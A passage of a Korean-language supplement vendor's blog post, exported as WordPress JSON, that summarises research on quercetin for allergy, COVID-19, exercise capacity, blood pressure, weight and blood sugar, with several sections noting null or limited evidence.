{"id":7666,"date":"2024-08-01T11:24:36","date_gmt":"2024-08-01T03:24:36","guid":{"rendered":"https:\/\/www.backvita.com\/?p=7666"},"modified":"2025-02-06T10:16:18","modified_gmt":"2025-02-06T02:16:18","slug":"the-efficacy-of-quercetin","status":"publish","type":"post","link":"https:\/\/www.backvita.com\/ko\/\ud018\ub974\uc138\ud2f4\uc758-\ud6a8\ub2a5\/","title":{"rendered":"\ucf00\ub974\uc138\ud2f4\uc758 \ud6a8\ub2a5"},"content":{"rendered":"<div class=\"wp-block-stackable-image stk-block-image stk-block stk-b44d8b0\" data-block-id=\"b44d8b0\"><figure class=\"stk-img-wrapper stk-image--shape-stretch\"><img decoding=\"async\" loading=\"lazy\" class=\"stk-img wp-image-3532\" src=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination.webp\" width=\"810\" height=\"455\" alt=\"\uc0c1\uc0c1\uc744 \ub6f0\uc5b4\ub118\ub294 \ucf00\ub974\uc138\ud2f4\" srcset=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination.webp 810w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination-300x169.webp 300w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination-768x431.webp 768w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination-600x337.webp 600w\" sizes=\"(max-width: 810px) 100vw, 810px\" \/><\/figure><\/div>\n\n\n\n<p><a href=\"https:\/\/www.backvita.com\/ko\/\uc81c\ud488\/sophora-japonica-extract-quercetin\/\">&nbsp;\ud018\ub974\uc138\ud2f4<\/a>&nbsp;\uc740 \uc2dd\ubb3c\uc5d0 \ub110\ub9ac \ubd84\ud3ec\ud558\ub294 \ud50c\ub77c\ubcf4\ub178\uc774\ub4dc\uc758 6\uac00\uc9c0 \ud558\uc704 \ud074\ub798\uc2a4 \uc911 \ud558\ub098\uc778 \ud50c\ub77c\ubcf4\ub180\ub85c \ubd84\ub958\ub429\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ucf00\ub974\uc138\ud2f4\uc774\ub77c\ub294 \uc774\ub984\uc740 1857\ub144\ubd80\ud130 \uc0ac\uc6a9\ub418\uc5b4 \uc654\uc73c\uba70 \ucc38\ub098\ubb34 \uc232\uc744 \uc758\ubbf8\ud558\ub294 \ub77c\ud2f4\uc5b4 '\ucf00\ub974\uc138\ud23c'\uc5d0\uc11c \uc720\ub798\ud588\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ud018\ub974\uc138\ud2f4\uc740 \ud56d\uc0b0\ud654, \ud56d\uc5fc\uc99d, \ud56d\uade0, \ud56d\ubc14\uc774\ub7ec\uc2a4, \ud65c\uc131\uc0b0\uc18c \uc81c\uac70, \uba74\uc5ed \uc870\uc808 \uc791\uc6a9 \ub4f1 \ub2e4\uc591\ud55c \uc0dd\ubb3c\ud559\uc801 \ud2b9\uc131\uc744 \uac00\uc9c0\uace0 \uc788\uc5b4 \uc804\ubc18\uc801\uc778 \uac74\uac15\uacfc \uc9c8\ubcd1 \uc800\ud56d\ub825\uc5d0 \uc7a0\uc7ac\uc801\uc778 \uc774\uc810\uc774 \uc788\ub2e4\ub294 \uc0ac\uc2e4\uc774 \uc5ec\ub7ec \uc5f0\uad6c\ub97c \ud1b5\ud574 \ubc1d\ud600\uc84c\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>&nbsp;\uc774 \ubb3c\uc9c8\uc740 \uc218\uc5b5 \ub144\uc5d0 \uac78\uccd0 \uc2dd\ubb3c\uc774 \uc9c4\ud654\ud55c \ucc9c\uc5f0 \uc0c9\uc18c\uc785\ub2c8\ub2e4. \uacfc\uc77c\uacfc \ucc44\uc18c\uc5d0 \ub2e4\uc591\ud55c \uc0c9\uc744 \ubd80\uc5ec\ud558\ub294 \uac83 \uc678\uc5d0\ub3c4 \uc2dd\ubb3c\uc774 \uc678\ubd80\uc758 \uce68\uc785\uc5d0 \uc800\ud56d\ud558\uace0 \uc218\uba85\uc744 \uc5f0\uc7a5\ud558\ub294 \ub370 \uc911\uc694\ud55c \uc5ed\ud560\uc744 \ud558\ub294 \uba74\uc5ed \uccb4\uacc4\uc640 \uac19\uc740 \uc5ed\ud560\uc744 \ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ucf00\ub974\uc138\ud2f4\uc740 \ube0c\ub85c\ucf5c\ub9ac, \uc544\uc2a4\ud30c\ub77c\uac70\uc2a4, \uc0ec\ub86f, \ud53c\ub9dd, \ud1a0\ub9c8\ud1a0, \uc801\uc0c1\ucd94\uc640 \uac19\uc740 \ucc44\uc18c\uc640 \uc0ac\uacfc, \ub538\uae30, \ud3ec\ub3c4, \ube14\ub8e8\ubca0\ub9ac, \ud06c\ub79c\ubca0\ub9ac, \ube14\ub799\ucee4\ub7f0\ud2b8\uc640 \uac19\uc740 \uacfc\uc77c\uc744 \ud3ec\ud568\ud55c \ub2e4\uc591\ud55c \uc2dd\ud488\uc5d0 \ud568\uc720\ub418\uc5b4 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ucf00\ub974\uc138\ud2f4\uc740 \uc740\ud589, \ud558\uc218\uc624, \uc778\uc0bc\uc744 \ube44\ub86f\ud55c \uc57d\uc6a9 \uc2dd\ubb3c\ubfd0\ub9cc \uc544\ub2c8\ub77c \ub9ce\uc740 \uc528\uc557, \uacac\uacfc\ub958, \uaf43, \ub098\ubb34\uaecd\uc9c8, \uc78e\uc5d0\ub3c4 \ud568\uc720\ub418\uc5b4 \uc788\uc2b5\ub2c8\ub2e4. \ub179\ucc28\uc640 \uc640\uc778\ub3c4 \ud48d\ubd80\ud55c \uc2dd\uc774 \uacf5\uae09\uc6d0\uc73c\ub85c \uac04\uc8fc\ub429\ub2c8\ub2e4.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">&nbsp;\uc758 \uacbd\ud5d8\uc801 \ud6a8\uacfc\ub294 \ubb34\uc5c7\uc778\uac00\uc694?&nbsp;<a href=\"https:\/\/www.backvita.com\/ko\/\uc81c\ud488\/sophora-japonica-extract-quercetin\/\">\ucf00\ub974\uc138\ud2f4<\/a>?<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">\uacc4\uc808\uc131 \uc54c\ub808\ub974\uae30\uc5d0 \ub3c4\uc6c0\uc774 \ub418\ub294 \ud018\ub974\uc138\ud2f4<\/h3>\n\n\n\n<p>&nbsp;\uacc4\uc808\uc131 \uc54c\ub808\ub974\uae30(\uaf43\uac00\ub8e8 \uc54c\ub808\ub974\uae30)\ub294 \uc0c1\ubd80 \ud638\ud761\uae30\uc5d0 \uc601\ud5a5\uc744 \ubbf8\uce58\ub294 \uacf5\uae30 \uc911 \uaf43\uac00\ub8e8\uc5d0 \ub300\ud55c \uc54c\ub808\ub974\uae30 \ubc18\uc751\uc785\ub2c8\ub2e4. \ucf54 \uc99d\uc0c1\uc73c\ub85c\ub294 \ucf54\ub9c9\ud798, \ucf67\ubb3c, \uac00\ub824\uc6c0, \uc7ac\ucc44\uae30 \ub4f1\uc774 \uc788\uc73c\uba70, \uc548\uad6c \uc99d\uc0c1\uc73c\ub85c\ub294 \ub208\ubb3c, \uac00\ub824\uc6c0, \uc791\uc5f4\uac10, \uacb0\ub9c9 \ucda9\ud608, \ub54c\ub85c\ub294 \ub208 \uc8fc\uc704 \ubd80\uc885 \ub4f1\uc774 \uc788\uc2b5\ub2c8\ub2e4. \uc774\ub7ec\ud55c \uc99d\uc0c1\uc744 \uc720\ubc1c\ud558\ub294 \uc758\ud559 \uc6a9\uc5b4\ub294 \uc54c\ub808\ub974\uae30\uc131 \ube44\uc5fc\uc73c\ub85c, \uc804 \uc138\uacc4 \uc778\uad6c\uc758 , 10%-30%\uac00 \uc54c\ub808\ub974\uae30\uc131 \ube44\uc5fc\uc744 \uc553\uace0 \uc788\ub294 \uac83\uc73c\ub85c \ucd94\uc815\ub429\ub2c8\ub2e4.<\/p>\n\n\n\n<p>&nbsp;\uacc4\uc808\uc131 \uc54c\ub808\ub974\uae30\uc758 \uc720\ubcd1\ub960\uc740 \uc9c0\ub09c 50\ub144 \ub3d9\uc548 \uae09\uaca9\ud788 \uc99d\uac00\ud588\uc73c\uba70, \uc794\ub514 \uaf43\uac00\ub8e8(\uc8fc\ub85c \ud2f0\ubaa8\uc2dc) \uc54c\ub808\ub974\uae30\uc758 \uc720\ubcd1\ub960 \uc911\uc559\uac12\uc740 16.9%\ub85c 21.7%\uc758 \uc9d1\uba3c\uc9c0 \uc9c4\ub4dc\uae30 \uc54c\ub808\ub974\uae30\uc5d0 \uc774\uc5b4 \ub450 \ubc88\uc9f8\ub85c \ub192\uc558\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>&nbsp;\uacc4\uc808\uc131 \uc54c\ub808\ub974\uae30 \uc99d\uc0c1\uc774 \uc788\ub294 \uc131\uc778 66\uba85\uc744 \ub300\uc0c1\uc73c\ub85c 4\uc8fc\uac04 \ubb34\uc791\uc704, \uc774\uc911\ub9f9\uac80, \ub300\uc870\uad70 \uc2e4\ud5d8\uc744 \uc2e4\uc2dc\ud55c \uacb0\uacfc \ud018\ub974\uc138\ud2f4(\ud558\ub8e8 200mg)\uc744 \ud568\uc720\ud55c \ubcf4\ucda9\uc81c\uac00 \uc704\uc57d\uc5d0 \ube44\ud574 \uc99d\uc0c1\uc774 \uac1c\uc120\ub41c \uac83\uc73c\ub85c \ub098\ud0c0\ub0ac\uc2b5\ub2c8\ub2e4. \uc77c\ubcf8 \ube44\uacb0\ub9c9\uc5fc \uc0b6\uc758 \uc9c8 \uc124\ubb38\uc9c0(JRQLQ) \ucd1d\uc810(\uc0b6\uc758 \uc9c8\uacfc \ucf54 \uc54c\ub808\ub974\uae30 \uc99d\uc0c1 \uc810\uc218, \ucd1d \uc0b6\uc758 \uc9c8 \uc810\uc218, \uc218\uba74 \uc810\uc218, \uc2e0\uccb4 \uc810\uc218\ub97c \ud569\uc0b0\ud55c \uc810\uc218).<\/p>\n\n\n\n<p>\uaf43\uac00\ub8e8\ub85c \uc778\ud55c \uacc4\uc808\uc131 \uc54c\ub808\ub974\uae30 \uc99d\uc0c1\uc758 \uacbd\uc6b0, \ud018\ub974\uc138\ud2f4\uc774 \ud568\uc720\ub41c \uacbd\uad6c\uc6a9 \ubcf4\ucda9\uc81c\uac00 \uae0d\uc815\uc801\uc778 \ub3c4\uc6c0\uc744 \uc904 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\ucf54\ub85c\ub09819 \uc9c8\ubcd1 \uce58\ub8cc\uc5d0 \ub3c4\uc6c0\uc744 \uc8fc\ub294 \ud018\ub974\uc138\ud2f4<\/h3>\n\n\n\n<p>\ucf54\ub85c\ub098\ubc14\uc774\ub7ec\uc2a4 \uac10\uc5fc\uc99d 2019(COVID-19)\ub294 SARS-CoV-2\ub85c \uc778\ud55c \uc2e0\uc885 \ubc14\uc774\ub7ec\uc2a4 \uac10\uc5fc\uc73c\ub85c, 2020\ub144 3\uc6d4 11\uc77c \uc138\uacc4\ubcf4\uac74\uae30\uad6c\uc5d0\uc11c \ud32c\ub370\ubbf9\uc744 \uc120\uc5b8\ud588\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>&nbsp;\uacbd\uc99d COVID-19\ub294 \uace0\uc5f4, \uc9c0\uc18d\uc801\uc778 \uae30\uce68, \ud6c4\uac01\/\ubbf8\uac01\uc758 \uc0c1\uc2e4 \ub610\ub294 \ubcc0\ud654 \ub4f1\uc758 \uc99d\uc0c1\uc744 \ubcf4\uc77c \uc218 \uc788\uc2b5\ub2c8\ub2e4. \uadf8\ub7ec\ub098 \ub354 \uc2ec\uac01\ud558\uace0 \uc704\uc911\ud55c \uacbd\uc6b0\uc5d0\ub294 \ud3d0 \uc5fc\uc99d, \uc800\uc0b0\uc18c\uc99d, \uae09\uc131 \ud638\ud761\uace4\ub780 \uc99d\ud6c4\uad70\uc73c\ub85c \uc774\uc5b4\uc9c8 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>&nbsp;\ubb34\uc791\uc704, \ub300\uc870, \uacf5\uac1c \ub77c\ubca8 \uc5f0\uad6c(152\uba85\uc758 \ucf54\ub85c\ub09819 \uc678\ub798 \ud658\uc790\ub97c \ub300\uc0c1\uc73c\ub85c 30\uc77c\uac04 \uc2e4\uc2dc)\uc5d0 \ub530\ub974\uba74 \ud018\ub974\uc138\ud2f4(1\uc77c 1,000mg)\uc744 \ubc14\uc774\ub7ec\uc2a4 \uac10\uc5fc \ucd08\uae30 \ub2e8\uacc4\uc5d0\uc11c \ud45c\uc900 \uce58\ub8cc\uc640 \ud568\uaed8 \uc0ac\uc6a9\ud558\uba74 \ub2e4\uc74c\uacfc \uac19\uc740 \uc784\uc0c1 \uacb0\uacfc\ub97c \uac1c\uc120\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4. \uc785\uc6d0 \ud544\uc694\uc131\uacfc \uae30\uac04, \ube44\uce68\uc2b5\uc801 \uc0b0\uc18c \uc694\ubc95\uc758 \ud544\uc694\uc131, \uc911\ud658\uc790\uc2e4 \uc9c4\ud589 \ubc0f \uc0ac\ub9dd \uac10\uc18c.<\/p>\n\n\n\n<p>\ucf54\ub85c\ub09819 \uac10\uc5fc\uc758 \uacbd\uc6b0 \ud45c\uc900 \uce58\ub8cc\uc640 \ud568\uaed8 \ucf00\ub974\uc138\ud2f4\uc744 \ubcf5\uc6a9\ud558\uba74 \ucd08\uae30 \uc99d\uc0c1\uc744 \uac1c\uc120\ud558\uace0 \ucf54\ub85c\ub09819\uc758 \uc911\uc99d\ub3c4\ub97c \uc904\uc774\ub294 \ub370 \ub3c4\uc6c0\uc774 \ub420 \uc218 \uc788\uc9c0\ub9cc, \ud45c\ubcf8 \uaddc\ubaa8\uac00 \uc791\uae30 \ub54c\ubb38\uc5d0 \ucd94\uac00 \uac80\uc99d\uc744 \uc704\ud574\uc11c\ub294 \ub354 \ub9ce\uc740 \ub300\uaddc\ubaa8 \uc5f0\uad6c\uac00 \ud544\uc694\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><a href=\"https:\/\/www.backvita.com\/ko\/\uc81c\ud488\/sophora-japonica-extract-quercetin\/\">\ud018\ub974\uc138\ud2f4<\/a>&nbsp;\uc720\uc0b0\uc18c \uc6b4\ub3d9 \ub2a5\ub825 \ud5a5\uc0c1<\/h3>\n\n\n\n<p>\uc2e0\uccb4 \ud65c\ub3d9 \ubd80\uc871\uc740 \uc804 \uc138\uacc4\uc801\uc73c\ub85c \ub110\ub9ac \ud37c\uc9c4 \ubb38\uc81c\ub85c, \uc131\uc778\uc758 \uc57d 3\ubd84\uc758 2\uac00 \ucd5c\uc18c \uad8c\uc7a5 \uc2e0\uccb4 \ud65c\ub3d9\ub7c9\uc744 \ucda9\uc871\ud558\uc9c0 \ubabb\ud558\uace0 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>&nbsp;\uc720\uc0b0\uc18c \uc6b4\ub3d9\uacfc \uac19\uc740 \uc6b4\ub3d9 \ud6c8\ub828\uc740 \uac1c\uc778\uc758 \uc2e0\uccb4 \uac74\uac15\uc744 \uc99d\uc9c4\uc2dc\ud0ac\ubfd0\ub9cc \uc544\ub2c8\ub77c \uc2ec\ub9ac\uc801 \uc548\ub155\uc5d0\ub3c4 \uc601\ud5a5\uc744 \ubbf8\uce60 \uc218 \uc788\uc2b5\ub2c8\ub2e4. \uc2e0\uccb4\uc801 \uc0c1\ud0dc\uc640 \uc815\uc2e0\uc801 \uc0c1\ud0dc\ub294 \uc885\uc885 \uc0c1\ud638 \uc758\uc874\uc801\uc774\ubbc0\ub85c \uc2e0\uccb4 \ub2a5\ub825 \uac10\uc18c\ub294 \uc790\uc874\uac10 \uc800\ud558\ub85c \uc774\uc5b4\uc9c8 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc5ec\ub7ec \uc5f0\uad6c\uc5d0 \ub530\ub974\uba74 \uaddc\uce59\uc801\uc774\uace0 \uc801\ub2f9\ud55c \uc6b4\ub3d9 \ud6c8\ub828\uc740 \uc554, \uc2ec\uc7a5\ubcd1, \ub2f9\ub1e8\ubcd1, \uace8\ub2e4\uacf5\uc99d, \ube44\ub9cc, \ubd88\uc548 \ubc0f \uc6b0\uc6b8\uc99d\uc758 \uc704\ud5d8\uc744 \uc904\uc77c \uc218 \uc788\ub2e4\uace0 \ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>&nbsp;\ucd1d 288\uba85\uc774 \ucc38\uc5ec\ud55c 7\uac74\uc758 \ubb34\uc791\uc704, \uc774\uc911\ub9f9\uac80, \uc704\uc57d \ub300\uc870 \uc784\uc0c1\uc2dc\ud5d8\uc744 \ud3ec\ud568\ud55c \ubb38\ud5cc \uba54\ud0c0 \ubd84\uc11d\uc5d0 \ub530\ub974\uba74 \ud018\ub974\uc138\ud2f4\uc740 \uc720\uc0b0\uc18c \uc6b4\ub3d9 \ub2a5\ub825(\uc9c0\uad6c\ub825 \ubc0f \ucd5c\ub300 \uc0b0\uc18c \uc18c\ube44\ub7c9) \ud5a5\uc0c1\uc5d0 \ud070 \ub3c4\uc6c0\uc774 \ub418\uc9c0 \uc54a\ub294 \uac83\uc73c\ub85c \ub098\ud0c0\ub0ac\uc2b5\ub2c8\ub2e4. (\ucd5c\ub300\uc0b0\uc18c\uc12d\ucde8\ub7c9(VO2max)\uc73c\ub85c \uce21\uc815).<\/p>\n\n\n\n<p>*\uacb0\ub860: \uc9c0\uae08\uae4c\uc9c0 \uacbd\uad6c\uc6a9 \ucf00\ub974\uc138\ud2f4\uc774 \uc720\uc0b0\uc18c \uc6b4\ub3d9 \ub2a5\ub825\uc744 \ud5a5\uc0c1\uc2dc\ud0a4\uc9c0 \ubabb\ud55c\ub2e4\ub294 \uc99d\uac70\ub294 \uc81c\ud55c\uc801\uc785\ub2c8\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\ucf00\ub974\uc138\ud2f4\uc740 \ud608\uc555\uc744 \uc870\uc808\ud569\ub2c8\ub2e4<\/h3>\n\n\n\n<p>&nbsp;\ubbf8\uad6d \uc2ec\uc7a5 \ud611\ud68c\ub294 \ud604\uc7ac \ubbf8\uad6d \uc131\uc778 8\ucc9c\ub9cc \uba85\uc774 \ubcf8\ud0dc\uc131 \uace0\ud608\uc555\uc744 \uc553\uace0 \uc788\ub294 \uac83\uc73c\ub85c \ucd94\uc815\ud558\uace0 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>&nbsp;\uace0\ud608\uc555\uc758 \ubcd1\ub9ac\ud559\uc801\uc778 \uc694\uc778\uc740 \uc8fc\ub85c \uc0b0\ud654 \uc2a4\ud2b8\ub808\uc2a4 \uc99d\uac00, \uc5d4\ub3c4\ud154\ub9b0-1 \uc0dd\uc131 \uc99d\uac00, \uc0b0\ud654\uc9c8\uc18c \uc0dd\uc131 \uac10\uc18c, \ub808\ub2cc-\uc548\uc9c0\uc624\ud150\uc2e0 \uc2dc\uc2a4\ud15c\uc758 \uacfc\ub3c4\ud55c \uc790\uadf9\uc73c\ub85c \uc778\ud55c \ubd80\uc801\uc808\ud55c \uccb4\uc561 \uc870\uc808\ub85c \uc778\ud574 \ubc1c\uc0dd\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>&nbsp;\uce58\ub8cc\ub294 \uc9c8\ubcd1\uc758 \uc6d0\uc778\uc5d0 \ub530\ub77c \ub2e4\ub974\uba70 \uc2dd\uc774 \ubcc0\ud654(\ub098\ud2b8\ub968 \uc12d\ucde8\ub7c9 \uc904\uc774\uae30), \uccb4\uc911 \uac10\ub7c9, \uc2e0\uccb4 \ud65c\ub3d9 \uc99d\uac00, \uc57d\ubb3c \uce58\ub8cc \ub4f1\uc774 \ud3ec\ud568\ub429\ub2c8\ub2e4.<\/p>\n\n\n\n<p>&nbsp;\uccb4\uacc4\uc801 \ubb38\ud5cc \uace0\ucc30 \ubc0f \uba54\ud0c0 \ubd84\uc11d(\ucd1d 587\uba85\uc774 \ucc38\uc5ec\ud55c 7\ud3b8\uc758 \uc5f0\uad6c \ud3ec\ud568)\uc5d0 \ub530\ub974\uba74 \ucf00\ub974\uc138\ud2f4 \ubcf4\ucda9\uc81c\ub294 \ud608\uc555 \uac15\ud558 \ud6a8\uacfc(\ud3c9\uade0 -3.04\/-2.63 mm Hg, \uc218\ucd95\uae30 \ud608\uc555\/\uc774\uc644\uae30 \ud608\uc555)\uac00 \uc788\uc73c\uba70, \ud558\ub8e8 \ubcf5\uc6a9\ub7c9\uc774 500mg \uc774\uc0c1, \uc0ac\uc6a9 \uae30\uac04\uc774 8\uc8fc \uc774\uc0c1\uc77c \ub54c \ud6a8\uacfc\uac00 \uac00\uc7a5 \ud070 \uac83\uc73c\ub85c \ub098\ud0c0\ub0ac\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ucf00\ub974\uc138\ud2f4 \ubcf4\ucda9\uc81c\ub294 \ud608\uc555\uc744 \uc870\uc808\ud558\ub294 \ud6a8\uacfc\uac00 \uc788\uc9c0\ub9cc \ubd88\ucda9\ubd84\ud55c \ud45c\ubcf8 \ud06c\uae30, \uc774\uc9c8\uc131 \ubc0f \ub108\ubb34 \uc9e7\uc740 \uae30\uac04\uc73c\ub85c \uc778\ud574 \uc81c\ud55c\uc774 \uc788\uc2b5\ub2c8\ub2e4. \uace0\ud608\uc555\uc758 \ucd94\uac00 \uce58\ub8cc\uc81c\ub85c \uc0ac\uc6a9\ud560 \uc218 \uc788\ub294 \uac00\ub2a5\uc131\uc744 \ud655\uc778\ud558\ub824\uba74 \uc544\uc9c1 \ub300\uaddc\ubaa8 \uc5f0\uad6c\uac00 \ub354 \ud544\uc694\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\uccb4\uc911 \uac10\ub7c9\uc5d0 \ub3c4\uc6c0\uc774 \ub418\ub294 \ud018\ub974\uc138\ud2f4<\/h3>\n\n\n\n<p>\uacfc\uccb4\uc911\uacfc \ube44\ub9cc\uc740 \uc804 \uc138\uacc4\uc801\uc778 \uacf5\uc911 \ubcf4\uac74 \ubb38\uc81c\uc774\uba70 \uc2ec\ud608\uad00 \uc9c8\ud658, \uc81c2\ud615 \ub2f9\ub1e8\ubcd1, \uc2e0\uc7a5 \uc9c8\ud658, \uad00\uc808\uc5fc, \uadfc\uace8\uaca9\uacc4 \uc9c8\ud658, \uc6b0\uc6b8\uc99d, \ud2b9\uc815 \uc554, \ubd88\uba74\uc99d, \ub9cc\uc131 \ud53c\ub85c\uc758 \uc704\ud5d8\uc744 \uc99d\uac00\uc2dc\ud0a4\ub294 \uc704\ud5d8 \uc694\uc778\uc785\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc5d0\ub108\uc9c0 \ubc00\ub3c4\uac00 \ub192\uc740 \uc74c\uc2dd \uc12d\ucde8 \uc99d\uac00\uc640 \uc2e0\uccb4 \ud65c\ub3d9 \uac10\uc18c\uc640 \uac19\uc774 \ube44\ub9cc\uc744 \uc720\ubc1c\ud558\ub294 \uc798 \uc54c\ub824\uc9c4 \uc694\uc778 \uc678\uc5d0\ub3c4 \ub2e4\uc74c\uacfc \uac19\uc740 \uc694\uc778\ub4e4\uc774 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc7a5\ub0b4 \ubbf8\uc0dd\ubb3c, \ub0b4\ubd84\ube44 \uad50\ub780 \ubb3c\uc9c8, \ud6c4\uc131 \uc720\uc804\ud559, \uc0b0\ubaa8 \uc5f0\ub839 \uc99d\uac00, \ubaa8\ub3c8 \uad50\ubc30, \uc218\uba74 \ubd80\ucc44, \uc57d\ubb3c \uc758\uc778\uc131 \ub4f1 \uc5ec\ub7ec \uac00\uc9c0 \uc694\uc778\uc774 \uc874\uc7ac\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>&nbsp;\ucd1d 525\uba85\uc774 \ucc38\uc5ec\ud55c 9\uac1c\uc758 \ubb34\uc791\uc704 \ub300\uc870 \uc784\uc0c1\uc2dc\ud5d8\uc744 \ud3ec\ud568\ud55c \ubb38\ud5cc \uba54\ud0c0 \ubd84\uc11d\uc5d0 \ub530\ub974\uba74 \ud018\ub974\uc138\ud2f4\uc744 \ub9e4\uc77c \ubcf4\ucda9\ud574\ub3c4 \uccb4\uc911, \uccb4\uc9c8\ub7c9 \uc9c0\uc218, \ud5c8\ub9ac \ub458\ub808, \ud5c8\ub9ac \ub300 \uc5c9\ub369\uc774 \ube44\uc728\uc5d0 \ud070 \uc601\ud5a5\uc744 \ubbf8\uce58\uc9c0 \uc54a\ub294 \uac83\uc73c\ub85c \ub098\ud0c0\ub0ac\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc9c0\uae08\uae4c\uc9c0 \ucf00\ub974\uc138\ud2f4 \ubcf4\ucda9\uc81c\ub294 \uccb4\uc911 \uac10\ub7c9\uc5d0 \ud070 \ub3c4\uc6c0\uc774 \ub418\uc9c0 \uc54a\uc558\uc73c\uba70, \uc774\ub97c \ucd94\uac00\ub85c \uac80\uc99d\ud558\uae30 \uc704\ud574\uc11c\ub294 \ub354 \ub9ce\uc740 \uc7a5\uae30 \ub300\uaddc\ubaa8 \uc5f0\uad6c\uac00 \ud544\uc694\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\ud608\ub2f9 \uc870\uc808\uc5d0 \ub3c4\uc6c0\uc774 \ub418\ub294 \ucf00\ub974\uc138\ud2f4<\/h3>\n\n\n\n<p>&nbsp;\ub2f9\ub1e8\ubcd1\uc740 \uc778\uc290\ub9b0 \ubd84\ube44 \ubd80\uc871, \ud65c\ub3d9 \ubd80\uc871 \ub610\ub294 \ub450 \uac00\uc9c0 \ubaa8\ub450\ub85c \uc778\ud574 \ubc1c\uc0dd\ud558\ub294 \uace0\ud608\ub2f9\uc99d \ub610\ub294 \uace0\ud608\ub2f9 \uc0c1\ud0dc\uc640 \uad00\ub828\ub41c \ubcf5\uc7a1\ud55c \ub9cc\uc131 \uc9c8\ud658\uc785\ub2c8\ub2e4.<\/p>\n\n\n\n<p>&nbsp;\uc7a6\uc740 \uac08\uc99d, \uc18c\ubcc0\ub7c9 \uc99d\uac00, \ucf00\ud1a4\ud608\uc99d, \ucf00\ud1a4\ub1e8\uc99d\uc740 \ud0c4\uc218\ud654\ubb3c, \uc9c0\ubc29, \ub2e8\ubc31\uc9c8 \ub300\uc0ac\uc758 \uc774\uc0c1\uc73c\ub85c \uc778\ud574 \ubc1c\uc0dd\ud558\ub294 \ub2f9\ub1e8\ubcd1\uc758 \uc77c\ubc18\uc801\uc778 \uc99d\uc0c1\uc785\ub2c8\ub2e4.<\/p>\n\n\n\n<p>&nbsp;\uccb4\uacc4\uc801\uc778 \ubb38\ud5cc \uac80\ud1a0 \ubc0f \uba54\ud0c0 \ubd84\uc11d(9\uac1c\uc758 \ubb34\uc791\uc704 \ub300\uc870 \uc2dc\ud5d8, \ucd1d 781\uba85\uc758 \ub300\uc0ac \uc99d\ud6c4\uad70 \ubc0f \uad00\ub828 \uc9c8\ud658 \ud658\uc790 \ud3ec\ud568)\uc5d0 \ub530\ub974\uba74 \ucf00\ub974\uc138\ud2f4 \ubcf4\ucda9\uc81c\ub294 \uacf5\ubcf5 \ud608\ub2f9, \uc778\uc290\ub9b0 \uc800\ud56d\uc131 \uc548\uc815\uc131 \ud3c9\uac00-\ucd94\uc815, \uc0c1\ud0dc \ubaa8\ub378 \ubc0f \ub2f9\ud654 \ud5e4\ubaa8\uae00\ub85c\ube48 \uc218\uce58\uc5d0 \uc601\ud5a5\uc744 \ubbf8\uce58\uc9c0 \uc54a\ub294 \uac83\uc73c\ub85c \ub098\ud0c0\ub0ac\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>&nbsp;\uadf8\ub7ec\ub098 \ud558\uc704 \uadf8\ub8f9 \ubd84\uc11d\uc5d0 \ub530\ub974\uba74 \uacf5\ubcf5 \ud608\ub2f9 \uac10\uc18c\uc5d0 \ub300\ud55c \ucf00\ub974\uc138\ud2f4 \ubcf4\ucda9\uc81c\uc758 \ud6a8\uacfc\ub294 8\uc8fc \uc774\uc0c1, \uc77c\uc77c \ubcf5\uc6a9\ub7c9\uc774 500mg \uc774\uc0c1\uc778 \uc5f0\uad6c\uc5d0\uc11c \uac00\uc7a5 \uc720\uc758\ubbf8\ud55c \uac83\uc73c\ub85c \ub098\ud0c0\ub0ac\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ub610\ud55c \ud018\ub974\uc138\ud2f4\uc758 \uc778\uc290\ub9b0 \ub18d\ub3c4 \uc800\ud558 \ud6a8\uacfc\ub294 45\uc138 \ubbf8\ub9cc, \uc77c\uc77c \ubcf5\uc6a9\ub7c9\uc774 500 mg\/\uc77c \uc774\uc0c1\uc778 \ud53c\ud5d8\uc790\uc5d0\uc11c \uac00\uc7a5 \ub450\ub4dc\ub7ec\uc9d1\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ub300\uc0ac \uc99d\ud6c4\uad70 \ubc0f \uad00\ub828 \uc9c8\ud658\uc774 \uc788\ub294 \ud658\uc790\uc758 \uacbd\uc6b0 \ucf00\ub974\uc138\ud2f4 \ubcf4\ucda9\uc81c\ub97c 